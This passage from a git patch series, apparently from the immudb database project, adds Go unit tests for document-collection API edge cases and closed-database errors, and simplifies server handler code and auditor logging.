+ context.Background(), + collectionName, + "", + []*protomodel.Field{}, + []*protomodel.Index{ + {Fields: []string{"_id", "collection"}}, + }, + ) + require.ErrorIs(t, err, ErrReservedName) + }) + err := engine.CreateCollection( context.Background(), collectionName, @@ -190,6 +281,7 @@ func TestCreateCollection(t *testing.T) { {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country-code", Type: protomodel.FieldType_STRING}, {Name: "address.street", Type: protomodel.FieldType_STRING}, + {Name: "active", Type: protomodel.FieldType_BOOLEAN}, }, []*protomodel.Index{ {Fields: []string{"number"}}, @@ -197,6 +289,7 @@ func TestCreateCollection(t *testing.T) { {Fields: []string{"pin"}}, {Fields: []string{"country-code"}}, {Fields: []string{"address.street"}}, + {Fields: []string{"active"}}, }, ) require.NoError(t, err) @@ -211,12 +304,14 @@ func TestCreateCollection(t *testing.T) { ) require.ErrorIs(t, err, ErrCollectionAlreadyExists) - // get collection + _, err = engine.GetCollection(context.Background(), "unexistentCollection") + require.ErrorIs(t, err, ErrCollectionDoesNotExist) + collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, collectionName, collection.Name) - require.Len(t, collection.Fields, 6) - require.Len(t, collection.Indexes, 6) + require.Len(t, collection.Fields, 7) + require.Len(t, collection.Indexes, 7) } func TestListCollections(t *testing.T) { @@ -266,16 +361,31 @@ func TestGetDocument(t *testing.T) { {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "address.street", Type: protomodel.FieldType_STRING}, + {Name: "active", Type: protomodel.FieldType_BOOLEAN}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"pincode"}}, {Fields: []string{"address.street"}}, + {Fields: []string{"active"}}, }, ) require.NoError(t, err) - // add document to collection + _, _, err = engine.InsertDocument(context.Background(), "unexistentCollectionName", &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "country": structpb.NewStringValue("wonderland"), + "pincode": structpb.NewNumberValue(2), + "address": structpb.NewStructValue(&structpb.Struct{ + Fields: map[string]*structpb.Value{ + "street": structpb.NewStringValue("mainstreet"), + "number": structpb.NewNumberValue(124), + }, + }), + }, + }) + require.ErrorIs(t, err, ErrCollectionDoesNotExist) + _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), @@ -706,6 +816,46 @@ func TestQueryDocuments(t *testing.T) { require.EqualValues(t, 4, count) }) + t.Run("query should fail with invalid field name", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "1invalidFieldName", + Operator: protomodel.ComparisonOperator_LT, + Value: structpb.NewNumberValue(5), + }, + }, + }, + }, + } + + _, err := engine.GetDocuments(ctx, query, 0) + require.ErrorIs(t, err, store.ErrIllegalArguments) + }) + + t.Run("query should fail with unexistent field", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode1", + Operator: protomodel.ComparisonOperator_LT, + Value: structpb.NewNumberValue(5), + }, + }, + }, + }, + } + + _, err := engine.GetDocuments(ctx, query, 0) + require.ErrorIs(t, err, ErrFieldDoesNotExist) + }) + t.Run("test group query with > operator", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, @@ -1016,6 +1166,36 @@ func TestUpdateCollection(t *testing.T) { require.NoError(t, err) }) + t.Run("update collection should fail with invalid collection name", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + "1invalidCollectionName", + "", + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("update collection should fail with unexistent collection name", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + "unexistentCollectionName", + "", + ) + require.ErrorIs(t, err, ErrCollectionDoesNotExist) + }) + + t.Run("update collection should fail with invalid id field name", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + "document", + ) + require.ErrorIs(t, err, ErrReservedName) + }) + t.Run("update collection by deleting indexes", func(t *testing.T) { // update collection err := engine.UpdateCollection( @@ -1047,6 +1227,15 @@ func TestUpdateCollection(t *testing.T) { require.Equal(t, "_docid", collection.DocumentIdFieldName) require.Len(t, collection.Indexes, 5) }) + + t.Run("update collection with invalid id field name", func(t *testing.T) { + err := engine.UpdateCollection( + context.Background(), + collectionName, + "document", + ) + require.ErrorIs(t, err, ErrReservedName) + }) } func TestCollectionUpdateWithDeletedIndex(t *testing.T) { @@ -1069,6 +1258,80 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { require.NoError(t, err) }) + t.Run("create index with invalid collection name should fail", func(t *testing.T) { + // update collection + err := engine.CreateIndex( + context.Background(), + "1invalidCollectionName", + []string{}, + false, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("create index with no fields should fail", func(t *testing.T) { + // update collection + err := engine.CreateIndex( + context.Background(), + collectionName, + []string{}, + false, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("create index with invalid field name should fail", func(t *testing.T) { + // update collection + err := engine.CreateIndex( + context.Background(), + collectionName, + []string{"1invalidFieldName"}, + false, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("create index with unexistent field name should fail", func(t *testing.T) { + // update collection + err := engine.CreateIndex( + context.Background(), + collectionName, + []string{"unexistentFieldName"}, + false, + ) + require.ErrorIs(t, err, ErrFieldDoesNotExist) + }) + + t.Run("delete index with invalid collection name should fail", func(t *testing.T) { + // update collection + err := engine.DeleteIndex( + context.Background(), + "1invalidCollectionName", + []string{"number"}, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("delete index without fields should fail", func(t *testing.T) { + // update collection + err := engine.DeleteIndex( + context.Background(), + collectionName, + []string{""}, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("delete index with invalid field name should fail", func(t *testing.T) { + // update collection + err := engine.DeleteIndex( + context.Background(), + collectionName, + []string{"1invalidFieldName"}, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + t.Run("update collection by deleting indexes", func(t *testing.T) { // update collection err := engine.DeleteIndex( From 01e6419542d258ed070c1674d47183735383a43c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 19:58:42 -0300 Subject: [PATCH 0667/1062] test(embedded/document): cover doc api corner cases Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 84 ++++++++++++++++++++++++++++++-- 1 file changed, 80 insertions(+), 4 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 1a072afc1a..40d29c7760 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -45,7 +45,10 @@ func makeEngine(t *testing.T) *Engine { } func TestEngineWithInvalidOptions(t *testing.T) { - _, err := store.Open(t.TempDir(), nil) + _, err := NewEngine(nil, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = NewEngine(nil, DefaultOptions()) require.ErrorIs(t, err, ErrIllegalArguments) } @@ -106,10 +109,10 @@ func TestCreateCollection(t *testing.T) { collectionName, "", []*protomodel.Field{ - {Name: "document", Type: protomodel.FieldType_DOUBLE}, + {Name: DocumentBLOBField, Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ - {Fields: []string{"document"}}, + {Fields: []string{DocumentBLOBField}}, }, ) require.ErrorIs(t, err, ErrReservedName) @@ -284,6 +287,7 @@ func TestCreateCollection(t *testing.T) { {Name: "active", Type: protomodel.FieldType_BOOLEAN}, }, []*protomodel.Index{ + {Fields: []string{"doc-id"}, IsUnique: true}, {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, @@ -1041,11 +1045,83 @@ func TestDocumentUpdate(t *testing.T) { }, } - // Call the ReplaceDocument method revisions, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) require.NoError(t, err) require.Empty(t, revisions) }) + + t.Run("replace document with invalid arguments should fail", func(t *testing.T) { + _, err := engine.ReplaceDocuments(ctx, nil, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("replace document with invalid collection name should fail", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: "1invalidCollectionName", + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "name", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewStringValue("Alice"), + }, + }, + }, + }, + } + + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + DefaultDocumentIDField: structpb.NewStringValue("1234"), + "name": structpb.NewStringValue("Alice"), + "age": structpb.NewNumberValue(31), + }, + } + + _, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("replace document with empty document should succeed", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "age", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNumberValue(31), + }, + }, + }, + }, + } + + revisions, err := engine.ReplaceDocuments(ctx, query, nil) + require.NoError(t, err) + require.Len(t, revisions, 1) + }) + + t.Run("replace document with query without expressions should succeed", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{}, + } + + toUpdateDoc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + DefaultDocumentIDField: structpb.NewStringValue(docID.EncodeToHexString()), + "name": structpb.NewStringValue("Alice"), + "age": structpb.NewNumberValue(32), + }, + } + + revisions, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) + require.NoError(t, err) + require.Len(t, revisions, 1) + }) } func TestFloatSupport(t *testing.T) { From e6295bc8c5063fbd74345dd4ce902441a7b85922 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 20:28:37 -0300 Subject: [PATCH 0668/1062] test(pkg/server): improve doc api coverage Signed-off-by: Jeronimo Irazabal --- pkg/server/documents_operations.go | 83 +++++++------------------ pkg/server/documents_operations_test.go | 34 ++++++++-- 2 files changed, 50 insertions(+), 67 deletions(-) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index b5d0d0f48d..f4d7a30e72 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -34,11 +34,8 @@ func (s *ImmuServer) CreateCollection(ctx context.Context, req *protomodel.Creat if err != nil { return nil, err } - resp, err := db.CreateCollection(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.CreateCollection(ctx, req) } func (s *ImmuServer) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { @@ -46,11 +43,8 @@ func (s *ImmuServer) UpdateCollection(ctx context.Context, req *protomodel.Updat if err != nil { return nil, err } - resp, err := db.UpdateCollection(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.UpdateCollection(ctx, req) } func (s *ImmuServer) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { @@ -58,11 +52,8 @@ func (s *ImmuServer) GetCollection(ctx context.Context, req *protomodel.GetColle if err != nil { return nil, err } - resp, err := db.GetCollection(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.GetCollection(ctx, req) } func (s *ImmuServer) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { @@ -70,11 +61,8 @@ func (s *ImmuServer) GetCollections(ctx context.Context, req *protomodel.GetColl if err != nil { return nil, err } - resp, err := db.GetCollections(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.GetCollections(ctx, req) } func (s *ImmuServer) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { @@ -82,11 +70,8 @@ func (s *ImmuServer) DeleteCollection(ctx context.Context, req *protomodel.Delet if err != nil { return nil, err } - resp, err := db.DeleteCollection(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.DeleteCollection(ctx, req) } func (s *ImmuServer) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { @@ -94,11 +79,8 @@ func (s *ImmuServer) CreateIndex(ctx context.Context, req *protomodel.CreateInde if err != nil { return nil, err } - resp, err := db.CreateIndex(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.CreateIndex(ctx, req) } func (s *ImmuServer) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { @@ -106,11 +88,8 @@ func (s *ImmuServer) DeleteIndex(ctx context.Context, req *protomodel.DeleteInde if err != nil { return nil, err } - resp, err := db.DeleteIndex(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.DeleteIndex(ctx, req) } func (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { @@ -118,11 +97,8 @@ func (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.Insert if err != nil { return nil, err } - resp, err := db.InsertDocuments(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.InsertDocuments(ctx, req) } func (s *ImmuServer) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { @@ -130,11 +106,8 @@ func (s *ImmuServer) ReplaceDocuments(ctx context.Context, req *protomodel.Repla if err != nil { return nil, err } - resp, err := db.ReplaceDocuments(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + + return db.ReplaceDocuments(ctx, req) } func (s *ImmuServer) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { @@ -142,12 +115,8 @@ func (s *ImmuServer) AuditDocument(ctx context.Context, req *protomodel.AuditDoc if err != nil { return nil, err } - resp, err := db.AuditDocument(ctx, req) - if err != nil { - return nil, err - } - return resp, nil + return db.AuditDocument(ctx, req) } func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.SearchDocumentsRequest) (*protomodel.SearchDocumentsResponse, error) { @@ -267,12 +236,7 @@ func (s *ImmuServer) CountDocuments(ctx context.Context, req *protomodel.CountDo return nil, err } - resp, err := db.CountDocuments(ctx, req) - if err != nil { - return nil, err - } - - return resp, nil + return db.CountDocuments(ctx, req) } func (s *ImmuServer) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { @@ -281,12 +245,7 @@ func (s *ImmuServer) DeleteDocuments(ctx context.Context, req *protomodel.Delete return nil, err } - resp, err := db.DeleteDocuments(ctx, req) - if err != nil { - return nil, err - } - - return resp, nil + return db.DeleteDocuments(ctx, req) } func (s *ImmuServer) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 3e9a4753cc..0b332762bc 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -44,22 +44,46 @@ func TestV2Authentication(t *testing.T) { ctx := context.Background() - _, err := s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{}) + _, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{}) + _, err = s.UpdateCollection(ctx, &protomodel.UpdateCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{}) + _, err = s.GetCollection(ctx, &protomodel.GetCollectionRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) + _, err = s.CreateIndex(ctx, &protomodel.CreateIndexRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) - _, err = s.GetCollection(ctx, &protomodel.GetCollectionRequest{}) + _, err = s.DeleteIndex(ctx, &protomodel.DeleteIndexRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.ReplaceDocuments(ctx, &protomodel.ReplaceDocumentsRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.AuditDocument(ctx, &protomodel.AuditDocumentRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.CountDocuments(ctx, &protomodel.CountDocumentsRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.DeleteDocuments(ctx, &protomodel.DeleteDocumentsRequest{}) + require.ErrorIs(t, err, ErrNotLoggedIn) + + _, err = s.ProofDocument(ctx, &protomodel.ProofDocumentRequest{}) require.ErrorIs(t, err, ErrNotLoggedIn) authServiceImp := &authenticationServiceImp{server: s} From 14edc4ada50509a2398d5ebcef4688b1420e10ff Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 20:51:58 -0300 Subject: [PATCH 0669/1062] test(pkg/server): cover dummy db Signed-off-by: Jeronimo Irazabal --- pkg/server/db_dummy_closed_test.go | 42 +++++++++++++++++++++ pkg/server/documents_operations_test.go | 49 +++++++++++++++++++++++-- 2 files changed, 88 insertions(+), 3 deletions(-) diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index 9291802c8b..b509eecafe 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -170,6 +170,48 @@ func TestDummyClosedDatabase(t *testing.T) { err = cdb.Truncate(0) require.ErrorIs(t, err, store.ErrAlreadyClosed) + _, err = cdb.CreateCollection(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.GetCollection(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.GetCollections(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.UpdateCollection(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.DeleteCollection(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.CreateIndex(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.DeleteIndex(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.InsertDocuments(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.ReplaceDocuments(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.AuditDocument(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.SearchDocuments(context.Background(), nil, 0) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.CountDocuments(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.ProofDocument(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + + _, err = cdb.DeleteDocuments(context.Background(), nil) + require.ErrorIs(t, err, store.ErrAlreadyClosed) + err = cdb.Close() require.ErrorIs(t, err, store.ErrAlreadyClosed) } diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 0b332762bc..02a3c1eae5 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -202,6 +202,9 @@ func TestPaginationOnReader(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) }) + _, err = s.SearchDocuments(ctx, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + t.Run("test with invalid search id should fail", func(t *testing.T) { _, err = s.SearchDocuments(ctx, &protomodel.SearchDocumentsRequest{ SearchId: "foobar", @@ -479,6 +482,16 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { require.NoError(t, err) } + t.Run("document count without conditions should return the total number of documents", func(t *testing.T) { + resp, err := s.CountDocuments(ctx, &protomodel.CountDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: collectionName, + }, + }) + require.NoError(t, err) + require.EqualValues(t, 10, resp.Count) + }) + t.Run("test reader with multiple paginated reads", func(t *testing.T) { results := make([]*protomodel.DocumentAtRevision, 0) @@ -585,6 +598,15 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { }) + t.Run("document deletion should succeed", func(t *testing.T) { + _, err = s.DeleteDocuments(ctx, &protomodel.DeleteDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: collectionName, + }, + }) + require.NoError(t, err) + }) + // close session and ensure that all paginated readers are closed _, err = authenticationServiceImp.CloseSession(ctx, &protomodel.CloseSessionRequest{}) require.NoError(t, err) @@ -888,9 +910,7 @@ func TestDocuments(t *testing.T) { Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 123}, - }, + "pincode": structpb.NewNumberValue(123), }, }, }, @@ -915,4 +935,27 @@ func TestDocuments(t *testing.T) { require.Equal(t, docID, rev.Document.Fields["_id"].GetStringValue()) } }) + + t.Run("should pass when replacing document", func(t *testing.T) { + resp, err := s.ReplaceDocuments(ctx, &protomodel.ReplaceDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: collectionName, + Limit: 1, + }, + Document: &structpb.Struct{Fields: map[string]*structpb.Value{ + "pincode": structpb.NewNumberValue(321), + }}, + }) + require.NoError(t, err) + require.Len(t, resp.Revisions, 1) + }) + + t.Run("should pass when requesting document proof", func(t *testing.T) { + _, err := s.ProofDocument(ctx, &protomodel.ProofDocumentRequest{ + CollectionName: collectionName, + DocumentId: docID, + }) + require.NoError(t, err) + }) + } From 1d0ab748642d2ea92eb164d6bc785be732a4038f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 10:50:54 -0300 Subject: [PATCH 0670/1062] test(pkg/integration): unit test verified stream methods Signed-off-by: Jeronimo Irazabal --- pkg/integration/stream/stream_test.go | 24 +++++++++++++++++++++--- pkg/integration/tx/transaction_test.go | 2 +- 2 files changed, 22 insertions(+), 4 deletions(-) diff --git a/pkg/integration/stream/stream_test.go b/pkg/integration/stream/stream_test.go index be63746e32..9d5d40a808 100644 --- a/pkg/integration/stream/stream_test.go +++ b/pkg/integration/stream/stream_test.go @@ -494,8 +494,8 @@ func TestImmuClient_StreamWithSignature(t *testing.T) { _, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ - Content: bufio.NewReader(bytes.NewBuffer([]byte(`key`))), - Size: len([]byte(`key`)), + Content: bufio.NewReader(bytes.NewBuffer([]byte(`key1`))), + Size: len([]byte(`key1`)), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), @@ -504,7 +504,25 @@ func TestImmuClient_StreamWithSignature(t *testing.T) { }}) require.NoError(t, err) - _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) + _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key1`)}}) + require.NoError(t, err) + + hdr2, err := client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ + Key: &stream.ValueSize{ + Content: bufio.NewReader(bytes.NewBuffer([]byte(`key2`))), + Size: len([]byte(`key2`)), + }, + Value: &stream.ValueSize{ + Content: bufio.NewReader(bytes.NewBuffer([]byte(`val`))), + Size: len([]byte(`val`)), + }, + }}) + require.NoError(t, err) + + _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{ + KeyRequest: &schema.KeyRequest{Key: []byte(`key1`)}, + ProveSinceTx: hdr2.Id, + }) require.NoError(t, err) } diff --git a/pkg/integration/tx/transaction_test.go b/pkg/integration/tx/transaction_test.go index 66907f40c6..dfb55304e3 100644 --- a/pkg/integration/tx/transaction_test.go +++ b/pkg/integration/tx/transaction_test.go @@ -48,7 +48,7 @@ func TestTransaction_SetAndGet(t *testing.T) { _, client := setupTest(t) // tx mode - tx, err := client.NewTx(context.Background(), immudb.UnsafeMVCC()) + tx, err := client.NewTx(context.Background(), immudb.UnsafeMVCC(), immudb.SnapshotMustIncludeTxID(0), immudb.SnapshotRenewalPeriod(0)) require.NoError(t, err) err = tx.SQLExec(context.Background(), `CREATE TABLE table1( From 9f6bb2bc15099c4bc1b6752e1a97fd4a045ec885 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 5 Jul 2023 11:31:16 -0300 Subject: [PATCH 0671/1062] test(pkg/server): increase coverage of server corner cases Signed-off-by: Jeronimo Irazabal --- pkg/client/auditor/auditor.go | 105 +++++-------------- pkg/client/cache/common.go | 28 +---- pkg/client/client.go | 29 +---- pkg/integration/client_test.go | 6 ++ pkg/server/keepAlive.go | 11 +- pkg/server/keep_alive_session_interceptor.go | 16 +-- pkg/server/server_test.go | 4 + 7 files changed, 60 insertions(+), 139 deletions(-) diff --git a/pkg/client/auditor/auditor.go b/pkg/client/auditor/auditor.go index 36d2a2cfd5..4ba28ae25b 100644 --- a/pkg/client/auditor/auditor.go +++ b/pkg/client/auditor/auditor.go @@ -235,15 +235,12 @@ func (a *defaultAuditor) audit() error { a.databaseIndex = 0 if len(a.databases) <= 0 { - a.logger.Errorf( - "audit #%d aborted: no databases to audit found after (re)loading the list of databases", - a.index) + a.logger.Errorf("audit #%d aborted: no databases to audit found after (re)loading the list of databases", a.index) withError = true return noErr } - a.logger.Infof( - "audit #%d - list of databases to audit has been (re)loaded - %d database(s) found: %v", + a.logger.Infof("audit #%d - list of databases to audit has been (re)loaded - %d database(s) found: %v", a.index, len(a.databases), a.databases) } @@ -288,9 +285,7 @@ func (a *defaultAuditor) audit() error { if prevState != nil { if isEmptyDB { - a.logger.Errorf( - "audit #%d aborted: database is empty on server %s @ %s, "+ - "but locally a previous state exists with hash %x at id %d", + a.logger.Errorf("audit #%d aborted: database is empty on server %s @ %s, but locally a previous state exists with hash %x at id %d", a.index, serverID, a.serverAddress, prevState.TxHash, prevState.TxId) withError = true return noErr @@ -301,45 +296,29 @@ func (a *defaultAuditor) audit() error { ProveSinceTx: prevState.TxId, }) if err != nil { - a.logger.Errorf( - "error fetching consistency proof for previous state %d: %v", - prevState.TxId, err) + a.logger.Errorf("error fetching consistency proof for previous state %d: %v", prevState.TxId, err) withError = true return noErr } dualProof := schema.DualProofFromProto(vtx.DualProof) - err = schema.FillMissingLinearAdvanceProof( - ctx, dualProof, prevState.TxId, state.TxId, a.serviceClient, - ) + err = schema.FillMissingLinearAdvanceProof(ctx, dualProof, prevState.TxId, state.TxId, a.serviceClient) if err != nil { - a.logger.Errorf( - "error fetching consistency proof for previous state %d: %v", - prevState.TxId, err) + a.logger.Errorf("error fetching consistency proof for previous state %d: %v", prevState.TxId, err) withError = true return noErr } - verified = store.VerifyDualProof( - dualProof, - prevState.TxId, - state.TxId, - schema.DigestFromProto(prevState.TxHash), - schema.DigestFromProto(state.TxHash), - ) + verified = store.VerifyDualProof(dualProof, prevState.TxId, state.TxId, schema.DigestFromProto(prevState.TxHash), schema.DigestFromProto(state.TxHash)) - a.logger.Infof("audit #%d result:\n db: %s, consistent: %t\n"+ - " previous state: %x at tx: %d\n current state: %x at tx: %d", - a.index, dbName, verified, - prevState.TxHash, prevState.TxId, state.TxHash, state.TxId) + a.logger.Infof("audit #%d result:\n db: %s, consistent: %t previous state: %x at tx: %d\n current state: %x at tx: %d", + a.index, dbName, verified, prevState.TxHash, prevState.TxId, state.TxHash, state.TxId) checked = true // publish audit notification if len(a.notificationConfig.URL) > 0 { err := a.publishAuditNotification( - dbName, - time.Now(), - !verified, + dbName, time.Now(), !verified, &State{ Tx: prevState.TxId, Hash: base64.StdEncoding.EncodeToString(prevState.TxHash), @@ -358,71 +337,55 @@ func (a *defaultAuditor) audit() error { }, ) if err != nil { - a.logger.Errorf( - "error publishing audit notification for db %s: %v", dbName, err) + a.logger.Errorf("error publishing audit notification for db %s: %v", dbName, err) } else { - a.logger.Infof( - "audit notification for db %s has been published at %s", - dbName, a.notificationConfig.URL) + a.logger.Infof("audit notification for db %s has been published at %s", dbName, a.notificationConfig.URL) } } } else if isEmptyDB { - a.logger.Warningf("audit #%d canceled: database is empty on server %s @ %s", - a.index, serverID, a.serverAddress) + a.logger.Warningf("audit #%d canceled: database is empty on server %s @ %s", a.index, serverID, a.serverAddress) return noErr } if !verified { - a.logger.Warningf( - "audit #%d detected possible tampering of db %s remote state (at id %d) "+ - "so it will not overwrite the previous local state (at id %d)", - a.index, dbName, state.TxId, prevState.TxId) + a.logger.Warningf("audit #%d detected possible tampering of db %s remote state (at id %d) "+ + "so it will not overwrite the previous local state (at id %d)", a.index, dbName, 